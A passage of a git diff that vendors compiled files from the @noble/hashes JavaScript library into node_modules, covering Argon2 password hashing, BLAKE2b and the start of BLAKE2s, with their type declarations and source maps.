Input, opts: ArgonOpts) => Uint8Array; +export declare const argon2id: (password: Input, salt: Input, opts: ArgonOpts) => Uint8Array; diff --git a/node_modules/@noble/hashes/argon2.js b/node_modules/@noble/hashes/argon2.js new file mode 100644 index 000000000000..2754f8c60e02 --- /dev/null +++ b/node_modules/@noble/hashes/argon2.js @@ -0,0 +1,303 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.argon2id = exports.argon2i = exports.argon2d = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +const blake2b_js_1 = require("./blake2b.js"); +const _u64_js_1 = require("./_u64.js"); +const ARGON2_SYNC_POINTS = 4; +const toBytesOptional = (buf) => (buf !== undefined ? (0, utils_js_1.toBytes)(buf) : new Uint8Array([])); +function mul(a, b) { + const aL = a & 0xffff; + const aH = a >>> 16; + const bL = b & 0xffff; + const bH = b >>> 16; + const ll = Math.imul(aL, bL); + const hl = Math.imul(aH, bL); + const lh = Math.imul(aL, bH); + const hh = Math.imul(aH, bH); + const BUF = ((ll >>> 16) + (hl & 0xffff) + lh) | 0; + const h = ((hl >>> 16) + (BUF >>> 16) + hh) | 0; + return { h, l: (BUF << 16) | (ll & 0xffff) }; +} +function relPos(areaSize, relativePos) { + // areaSize - 1 - ((areaSize * ((relativePos ** 2) >>> 32)) >>> 32) + return areaSize - 1 - mul(areaSize, mul(relativePos, relativePos).h).h; +} +function mul2(a, b) { + // 2 * a * b (via shifts) + const { h, l } = mul(a, b); + return { h: ((h << 1) | (l >>> 31)) & 4294967295, l: (l << 1) & 4294967295 }; +} +function blamka(Ah, Al, Bh, Bl) { + const { h: Ch, l: Cl } = mul2(Al, Bl); + // A + B + (2 * A * B) + const Rll = (0, _u64_js_1.add3L)(Al, Bl, Cl); + return { h: (0, _u64_js_1.add3H)(Rll, Ah, Bh, Ch), l: Rll | 0 }; +} +// Temporary block buffer +const BUF = new Uint32Array(256); +function G(a, b, c, d) { + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: (0, _u64_js_1.rotr32H)(Dh, Dl), Dl: (0, _u64_js_1.rotr32L)(Dh, Dl) }); + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: (0, _u64_js_1.rotrSH)(Bh, Bl, 24), Bl: (0, _u64_js_1.rotrSL)(Bh, Bl, 24) }); + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: (0, _u64_js_1.rotrSH)(Dh, Dl, 16), Dl: (0, _u64_js_1.rotrSL)(Dh, Dl, 16) }); + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: (0, _u64_js_1.rotrBH)(Bh, Bl, 63), Bl: (0, _u64_js_1.rotrBL)(Bh, Bl, 63) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +// prettier-ignore +function P(v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, v10, v11, v12, v13, v14, v15) { + G(v00, v04, v08, v12); + G(v01, v05, v09, v13); + G(v02, v06, v10, v14); + G(v03, v07, v11, v15); + G(v00, v05, v10, v15); + G(v01, v06, v11, v12); + G(v02, v07, v08, v13); + G(v03, v04, v09, v14); +} +function block(x, xPos, yPos, outPos, needXor) { + for (let i = 0; i < 256; i++) + BUF[i] = x[xPos + i] ^ x[yPos + i]; + // columns + for (let i = 0; i < 128; i += 16) { + // prettier-ignore + P(i, i + 1, i + 2, i + 3, i + 4, i + 5, i + 6, i + 7, i + 8, i + 9, i + 10, i + 11, i + 12, i + 13, i + 14, i + 15); + } + // rows + for (let i = 0; i < 16; i += 2) { + // prettier-ignore + P(i, i + 1, i + 16, i + 17, i + 32, i + 33, i + 48, i + 49, i + 64, i + 65, i + 80, i + 81, i + 96, i + 97, i + 112, i + 113); + } + if (needXor) + for (let i = 0; i < 256; i++) + x[outPos + i] ^= BUF[i] ^ x[xPos + i] ^ x[yPos + i]; + else + for (let i = 0; i < 256; i++) + x[outPos + i] = BUF[i] ^ x[xPos + i] ^ x[yPos + i]; +} +// Variable-Length Hash Function H' +function Hp(A, dkLen) { + const A8 = (0, utils_js_1.u8)(A); + const T = new Uint32Array(1); + const T8 = (0, utils_js_1.u8)(T); + T[0] = dkLen; + // Fast path + if (dkLen <= 64) + return blake2b_js_1.blake2b.create({ dkLen }).update(T8).update(A8).digest(); + const out = new Uint8Array(dkLen); + let V = blake2b_js_1.blake2b.create({}).update(T8).update(A8).digest(); + let pos = 0; + // First block + out.set(V.subarray(0, 32)); + pos += 32; + // Rest blocks + for (; dkLen - pos > 64; pos += 32) + out.set((V = (0, blake2b_js_1.blake2b)(V)).subarray(0, 32), pos); + // Last block + out.set((0, blake2b_js_1.blake2b)(V, { dkLen: dkLen - pos }), pos); + return (0, utils_js_1.u32)(out); +} +function indexAlpha(r, s, laneLen, segmentLen, index, randL, sameLane = false) { + let area; + if (0 == r) { + if (0 == s) + area = index - 1; + else if (sameLane) + area = s * segmentLen + index - 1; + else + area = s * segmentLen + (index == 0 ? -1 : 0); + } + else if (sameLane) + area = laneLen - segmentLen + index - 1; + else + area = laneLen - segmentLen + (index == 0 ? -1 : 0); + const startPos = r !== 0 && s !== ARGON2_SYNC_POINTS - 1 ? (s + 1) * segmentLen : 0; + const rel = relPos(area, randL); + // NOTE: check about overflows here + // absPos = (startPos + relPos) % laneLength; + return (startPos + rel) % laneLen; +} +function argon2Init(type, password, salt, opts) { + password = (0, utils_js_1.toBytes)(password); + salt = (0, utils_js_1.toBytes)(salt); + let { p, dkLen, m, t, version, key, personalization, maxmem, onProgress } = { + ...opts, + version: opts.version || 0x13, + dkLen: opts.dkLen || 32, + maxmem: 2 ** 32, + }; + // Validation + (0, _assert_js_1.number)(p); + (0, _assert_js_1.number)(dkLen); + (0, _assert_js_1.number)(m); + (0, _assert_js_1.number)(t); + (0, _assert_js_1.number)(version); + if (dkLen < 4 || dkLen >= 2 ** 32) + throw new Error('Argon2: dkLen should be at least 4 bytes'); + if (p < 1 || p >= 2 ** 32) + throw new Error('Argon2: p (parallelism) should be at least 1'); + if (t < 1 || t >= 2 ** 32) + throw new Error('Argon2: t (iterations) should be at least 1'); + if (m < 8 * p) + throw new Error(`Argon2: memory should be at least 8*p bytes`); + if (version !== 16 && version !== 19) + throw new Error(`Argon2: unknown version=${version}`); + password = (0, utils_js_1.toBytes)(password); + if (password.length < 0 || password.length >= 2 ** 32) + throw new Error('Argon2: password should be less than 4 GB'); + salt = (0, utils_js_1.toBytes)(salt); + if (salt.length < 8) + throw new Error('Argon2: salt should be at least 8 bytes'); + key = toBytesOptional(key); + personalization = toBytesOptional(personalization); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + // Params + const lanes = p; + // m' = 4 * p * floor (m / 4p) + const mP = 4 * p * Math.floor(m / (ARGON2_SYNC_POINTS * p)); + //q = m' / p columns + const laneLen = Math.floor(mP / p); + const segmentLen = Math.floor(laneLen / ARGON2_SYNC_POINTS); + // H0 + const h = blake2b_js_1.blake2b.create({}); + const BUF = new Uint32Array(1); + const BUF8 = (0, utils_js_1.u8)(BUF); + for (const i of [p, dkLen, m, t, version, type]) { + if (i < 0 || i >= 2 ** 32) + throw new Error(`Argon2: wrong parameter=${i}, expected uint32`); + BUF[0] = i; + h.update(BUF8); + } + for (let i of [password, salt, key, personalization]) { + BUF[0] = i.length; + h.update(BUF8).update(i); + } + const H0 = new Uint32Array(18); + const H0_8 = (0, utils_js_1.u8)(H0); + h.digestInto(H0_8); + // 256 u32 = 1024 (BLOCK_SIZE) + const memUsed = mP * 256; + if (memUsed < 0 || memUsed >= 2 ** 32 || memUsed > maxmem) { + throw new Error(`Argon2: wrong params (memUsed=${memUsed} maxmem=${maxmem}), should be less than 2**32`); + } + const B = new Uint32Array(memUsed); + // Fill first blocks + for (let l = 0; l < p; l++) { + const i = 256 * laneLen * l; + // B[i][0] = H'^(1024)(H_0 || LE32(0) || LE32(i)) + H0[17] = l; + H0[16] = 0; + B.set(Hp(H0, 1024), i); + // B[i][1] = H'^(1024)(H_0 || LE32(1) || LE32(i)) + H0[16] = 1; + B.set(Hp(H0, 1024), i + 256); + } + let perBlock = () => { }; + if (onProgress) { + const totalBlock = t * ARGON2_SYNC_POINTS * p * segmentLen; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlock / 10000), 1); + let blockCnt = 0; + perBlock = () => { + blockCnt++; + if (onProgress && (!(blockCnt % callbackPer) || blockCnt === totalBlock)) + onProgress(blockCnt / totalBlock); + }; + } + return { type, mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock }; +} +function argon2Output(B, p, laneLen, dkLen) { + const B_final = new Uint32Array(256); + for (let l = 0; l < p; l++) + for (let j = 0; j < 256; j++) + B_final[j] ^= B[256 * (laneLen * l + laneLen - 1) + j]; + return (0, utils_js_1.u8)(Hp(B_final, dkLen)); +} +function processBlock(B, address, l, r, s, index, laneLen, segmentLen, lanes, offset, prev, dataIndependent, needXor) { + if (offset % laneLen) + prev = offset - 1; + let randL, randH; + if (dataIndependent) { + if (index % 128 === 0) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + randL = address[2 * (index % 128)]; + randH = address[2 * (index % 128) + 1]; + } + else { + const T = 256 * prev; + randL = B[T]; + randH = B[T + 1]; + } + // address block + const refLane = r === 0 && s === 0 ? l : randH % lanes; + const refPos = indexAlpha(r, s, laneLen, segmentLen, index, randL, refLane == l); + const refBlock = laneLen * refLane + refPos; + // B[i][j] = G(B[i][j-1], B[l][z]) + block(B, 256 * prev, 256 * refBlock, offset * 256, needXor); +} +function argon2(type, password, salt, opts) { + const { mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock } = argon2Init(type, password, salt, opts); + // Pre-loop setup + // [address, input, zero_block] format so we can pass single U32 to block function + const address = new Uint32Array(3 * 256); + address[256 + 6] = mP; + address[256 + 8] = t; + address[256 + 10] = type; + for (let r = 0; r < t; r++) { + const needXor = r !== 0 && version === 0x13; + address[256 + 0] = r; + for (let s = 0; s < ARGON2_SYNC_POINTS; s++) { + address[256 + 4] = s; + const dataIndependent = type == 1 /* Types.Argon2i */ || (type == 2 /* Types.Argon2id */ && r === 0 && s < 2); + for (let l = 0; l < p; l++) { + address[256 + 2] = l; + address[256 + 12] = 0; + let startPos = 0; + if (r === 0 && s === 0) { + startPos = 2; + if (dataIndependent) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + } + // current block postion + let offset = l * laneLen + s * segmentLen + startPos; + // previous block position + let prev = offset % laneLen ? offset - 1 : offset + laneLen - 1; + for (let index = startPos; index < segmentLen; index++, offset++, prev++) { + perBlock(); + processBlock(B, address, l, r, s, index, laneLen, segmentLen, lanes, offset, prev, dataIndependent, needXor); + } + } + } + } + return argon2Output(B, p, laneLen, dkLen); +} +const argon2d = (password, salt, opts) => argon2(0 /* Types.Argond2d */, password, salt, opts); +exports.argon2d = argon2d; +const argon2i = (password, salt, opts) => argon2(1 /* Types.Argon2i */, password, salt, opts); +exports.argon2i = argon2i; +const argon2id = (password, salt, opts) => argon2(2 /* Types.Argon2id */, password, salt, opts); +exports.argon2id = argon2id; +//# sourceMappingURL=argon2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/argon2.js.map b/node_modules/@noble/hashes/argon2.js.map new file mode 100644 index 000000000000..a88b2520dc87 --- /dev/null +++ b/node_modules/@noble/hashes/argon2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"argon2.js","sourceRoot":"","sources":["src/argon2.ts"],"names":[],"mappings":";;;AAAA,6CAAsD;AACtD,yCAAqD;AACrD,6CAAuC;AACvC,uCAA2F;AAS3F,MAAM,kBAAkB,GAAG,CAAC,CAAC;AAE7B,MAAM,eAAe,GAAG,CAAC,GAAW,EAAE,EAAE,CAAC,CAAC,GAAG,KAAK,SAAS,CAAC,CAAC,CAAC,IAAA,kBAAO,EAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC,CAAC;AAEjG,SAAS,GAAG,CAAC,CAAS,EAAE,CAAS;IAC/B,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC;IACtB,MAAM,EAAE,GAAG,CAAC,KAAK,EAAE,CAAC;IACpB,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC;IACtB,MAAM,EAAE,GAAG,CAAC,KAAK,EAAE,CAAC;IACpB,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC;IAC7B,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC;IAC7B,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC;IAC7B,MAAM,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,EAAE,EAAE,CAAC,CAA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ACL,OAAO,EACP,UAAU,EACV,KAAK,EACL,MAAM,EACN,IAAI,EACJ,eAAe,EACf,OAAO,CACR,CAAC;iBACH;aACF;SACF;KACF;IACD,OAAO,YAAY,CAAC,CAAC,EAAE,CAAC,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;AAC5C,CAAC;AAEM,MAAM,OAAO,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACvE,MAAM,yBAAiB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AADlC,QAAA,OAAO,WAC2B;AACxC,MAAM,OAAO,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACvE,MAAM,wBAAgB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AADjC,QAAA,OAAO,WAC0B;AACvC,MAAM,QAAQ,GAAG,CAAC,QAAe,EAAE,IAAW,EAAE,IAAe,EAAE,EAAE,CACxE,MAAM,yBAAiB,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AADlC,QAAA,QAAQ,YAC0B"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake2b.d.ts b/node_modules/@noble/hashes/blake2b.d.ts new file mode 100644 index 000000000000..7a78c6b88d87 --- /dev/null +++ b/node_modules/@noble/hashes/blake2b.d.ts @@ -0,0 +1,53 @@ +import { BLAKE2, BlakeOpts } from './_blake2.js'; +declare class BLAKE2b extends BLAKE2 { + private v0l; + private v0h; + private v1l; + private v1h; + private v2l; + private v2h; + private v3l; + private v3h; + private v4l; + private v4h; + private v5l; + private v5h; + private v6l; + private v6h; + private v7l; + private v7h; + constructor(opts?: BlakeOpts); + protected get(): [ + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number + ]; + protected set(v0l: number, v0h: number, v1l: number, v1h: number, v2l: number, v2h: number, v3l: number, v3h: number, v4l: number, v4h: number, v5l: number, v5h: number, v6l: number, v6h: number, v7l: number, v7h: number): void; + protected compress(msg: Uint32Array, offset: number, isLast: boolean): void; + destroy(): void; +} +/** + * BLAKE2b - optimized for 64-bit platforms. JS doesn't have uint64, so it's slower than BLAKE2s. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export declare const blake2b: { + (msg: import("./utils.js").Input, opts?: BlakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: BlakeOpts): import("./utils.js").Hash; +}; +export {}; diff --git a/node_modules/@noble/hashes/blake2b.js b/node_modules/@noble/hashes/blake2b.js new file mode 100644 index 000000000000..9d41df592096 --- /dev/null +++ b/node_modules/@noble/hashes/blake2b.js @@ -0,0 +1,192 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.blake2b = void 0; +const _blake2_js_1 = require("./_blake2.js"); +const _u64_js_1 = require("./_u64.js"); +const utils_js_1 = require("./utils.js"); +// Same as SHA-512 but LE +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0xf3bcc908, 0x6a09e667, 0x84caa73b, 0xbb67ae85, 0xfe94f82b, 0x3c6ef372, 0x5f1d36f1, 0xa54ff53a, + 0xade682d1, 0x510e527f, 0x2b3e6c1f, 0x9b05688c, 0xfb41bd6b, 0x1f83d9ab, 0x137e2179, 0x5be0cd19 +]); +// Temporary buffer +const BUF = /* @__PURE__ */ new Uint32Array(32); +// Mixing function G splitted in two halfs +function G1(a, b, c, d, msg, x) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = _u64_js_1.default.add3L(Al, Bl, Xl); + Ah = _u64_js_1.default.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 32) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: _u64_js_1.default.rotr32H(Dh, Dl), Dl: _u64_js_1.default.rotr32L(Dh, Dl) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = _u64_js_1.default.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 24) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: _u64_js_1.default.rotrSH(Bh, Bl, 24), Bl: _u64_js_1.default.rotrSL(Bh, Bl, 24) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +function G2(a, b, c, d, msg, x) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = _u64_js_1.default.add3L(Al, Bl, Xl); + Ah = _u64_js_1.default.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 16) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: _u64_js_1.default.rotrSH(Dh, Dl, 16), Dl: _u64_js_1.default.rotrSL(Dh, Dl, 16) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = _u64_js_1.default.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 63) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: _u64_js_1.default.rotrBH(Bh, Bl, 63), Bl: _u64_js_1.default.rotrBL(Bh, Bl, 63) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +class BLAKE2b extends _blake2_js_1.BLAKE2 { + constructor(opts = {}) { + super(128, opts.dkLen === undefined ? 64 : opts.dkLen, opts, 64, 16, 16); + // Same as SHA-512, but LE + this.v0l = IV[0] | 0; + this.v0h = IV[1] | 0; + this.v1l = IV[2] | 0; + this.v1h = IV[3] | 0; + this.v2l = IV[4] | 0; + this.v2h = IV[5] | 0; + this.v3l = IV[6] | 0; + this.v3h = IV[7] | 0; + this.v4l = IV[8] | 0; + this.v4h = IV[9] | 0; + this.v5l = IV[10] | 0; + this.v5h = IV[11] | 0; + this.v6l = IV[12] | 0; + this.v6h = IV[13] | 0; + this.v7l = IV[14] | 0; + this.v7h = IV[15] | 0; + const keyLength = opts.key ? opts.key.length : 0; + this.v0l ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = (0, utils_js_1.u32)((0, utils_js_1.toBytes)(opts.salt)); + this.v4l ^= salt[0]; + this.v4h ^= salt[1]; + this.v5l ^= salt[2]; + this.v5h ^= salt[3]; + } + if (opts.personalization) { + const pers = (0, utils_js_1.u32)((0, utils_js_1.toBytes)(opts.personalization)); + this.v6l ^= pers[0]; + this.v6h ^= pers[1]; + this.v7l ^= pers[2]; + this.v7h ^= pers[3]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set((0, utils_js_1.toBytes)(opts.key)); + this.update(tmp); + } + } + // prettier-ignore + get() { + let { v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h } = this; + return [v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h]; + } + // prettier-ignore + set(v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h) { + this.v0l = v0l | 0; + this.v0h = v0h | 0; + this.v1l = v1l | 0; + this.v1h = v1h | 0; + this.v2l = v2l | 0; + this.v2h = v2h | 0; + this.v3l = v3l | 0; + this.v3h = v3h | 0; + this.v4l = v4l | 0; + this.v4h = v4h | 0; + this.v5l = v5l | 0; + this.v5h = v5h | 0; + this.v6l = v6l | 0; + this.v6h = v6h | 0; + this.v7l = v7l | 0; + this.v7h = v7h | 0; + } + compress(msg, offset, isLast) { + this.get().forEach((v, i) => (BUF[i] = v)); // First half from state. + BUF.set(IV, 16); // Second half from IV. + let { h, l } = _u64_js_1.default.fromBig(BigInt(this.length)); + BUF[24] = IV[8] ^ l; // Low word of the offset. + BUF[25] = IV[9] ^ h; // High word. + // Invert all bits for last block + if (isLast) { + BUF[28] = ~BUF[28]; + BUF[29] = ~BUF[29]; + } + let j = 0; + const s = _blake2_js_1.SIGMA; + for (let i = 0; i < 12; i++) { + G1(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G2(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G1(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G2(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G1(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G2(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G1(3, 7, 11, 15, msg, offset + 2 * s[j++]); + G2(3, 7, 11, 15, msg, offset + 2 * s[j++]); + G1(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G2(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G1(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G2(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G1(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G2(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G1(3, 4, 9, 14, msg, offset + 2 * s[j++]); + G2(3, 4, 9, 14, msg, offset + 2 * s[j++]); + } + this.v0l ^= BUF[0] ^ BUF[16]; + this.v0h ^= BUF[1] ^ BUF[17]; + this.v1l ^= BUF[2] ^ BUF[18]; + this.v1h ^= BUF[3] ^ BUF[19]; + this.v2l ^= BUF[4] ^ BUF[20]; + this.v2h ^= BUF[5] ^ BUF[21]; + this.v3l ^= BUF[6] ^ BUF[22]; + this.v3h ^= BUF[7] ^ BUF[23]; + this.v4l ^= BUF[8] ^ BUF[24]; + this.v4h ^= BUF[9] ^ BUF[25]; + this.v5l ^= BUF[10] ^ BUF[26]; + this.v5h ^= BUF[11] ^ BUF[27]; + this.v6l ^= BUF[12] ^ BUF[28]; + this.v6h ^= BUF[13] ^ BUF[29]; + this.v7l ^= BUF[14] ^ BUF[30]; + this.v7h ^= BUF[15] ^ BUF[31]; + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +/** + * BLAKE2b - optimized for 64-bit platforms. JS doesn't have uint64, so it's slower than BLAKE2s. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +exports.blake2b = (0, utils_js_1.wrapConstructorWithOpts)((opts) => new BLAKE2b(opts)); +//# sourceMappingURL=blake2b.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake2b.js.map b/node_modules/@noble/hashes/blake2b.js.map new file mode 100644 index 000000000000..4e936fb429dd --- /dev/null +++ b/node_modules/@noble/hashes/blake2b.js.map @@ -0,0 +1 @@ +{"version":3,"file":"blake2b.js","sourceRoot":"","sources":["src/blake2b.ts"],"names":[],"mappings":";;;AAAA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AC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;IAC3D,CAAC;CACF;AAED;;;;GAIG;AACU,QAAA,OAAO,GAAmB,IAAA,kCAAuB,EAC5D,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,OAAO,CAAC,IAAI,CAAC,CAC5B,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/blake2s.d.ts b/node_modules/@noble/hashes/blake2s.d.ts new file mode 100644 index 000000000000..d9dd59b0d17c --- /dev/null +++ b/node_modules/@noble/hashes/blake2s.d.ts @@ -0,0 +1,47 @@ +import { BLAKE2, BlakeOpts } from './_blake2.js'; +export declare const IV: Uint32Array; +export declare function compress(s: Uint8Array, offset: number, msg: Uint32Array, rounds: number, v0: number, v1: number, v2: number, v3: number, v4: number, v5: number, v6: number, v7: number, v8: number, v9: number, v10: number, v11: number, v12: number, v13: number, v14: number, v15: number): { + v0: number; + v1: number; + v2: number; + v3: number; + v4: number; + v5: number; + v6: number; + v7: number; + v8: number; + v9: number; + v10: number; + v11: number; + v12: number; + v13: number; + v14: number; + v15: number; +}; +declare class BLAKE2s extends BLAKE2 { + private v0; + private v1; + private v2; + private v3; + private v4; + private v5; + private v6; + private v7; + constructor(opts?: BlakeOpts); + protected get(): [number, number, number, number, number, number, number, number]; + protected set(v0: number, v1: number, v2: number, v3: number, v4: number, v5: number, v6: number, v7: number): void; + protected compress(msg: Uint32Array, offset: number, isLast: boolean): void; + destroy(): void; +} +/** + * BLAKE2s - optimized for 32-bit platforms. JS doesn't have uint64, so it's faster than BLAKE2b. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export declare const blake2s: { + (msg: import("./utils.js").Input, opts?: BlakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: BlakeOpts): import("./utils.js").Hash; +}; +export {}; diff --git a/node_modules/@noble/hashes/blake2s.js b/node_modules/@noble/hashes/blake2s.js new file mode 100644 index 000000000000..ace75136bc5d --- /dev/null +++ b/node_modules/@noble/hashes/blake2s.js @@ -0,0 +1,122 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.blake2s = exports.compress = exports.IV = void 0; +const _blake2_js_1 = require("./_blake2.js"); +const _u64_js_1 = require("./_u64.js"); +const utils_js_1 = require("./utils.js"); +// Initial state: +// first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19) +// same as SHA-256 +// prettier-ignore +exports.IV = new Uint32Array([0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]); +// Mixing function G splitted in two halfs +function G1(a, b, c, d, x) { + a = (a + b + x) | 0; + d = (0, utils_js_1.rotr)(d ^ a, 16); + c = (c + d) | 0; + b = (0, utils_js_1.rotr)(b ^ c, 12); + return { a, b, c, d }; +} +function G2(a, b, c, d, x) { + a = (a + b + x) | 0; + d = (0, utils_js_1.rotr)(d ^ a, 8); + c = (c + d) | 0; + b = (0, utils_js_1.rotr)(b ^ c, 7); + return { a, b, c, d }; +} +// prettier-ignore +function compress(s, offset, msg, rounds, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15) { + let j = 0; + for (let i = 0; i < rounds; i++) { + ({ a: v0, b: 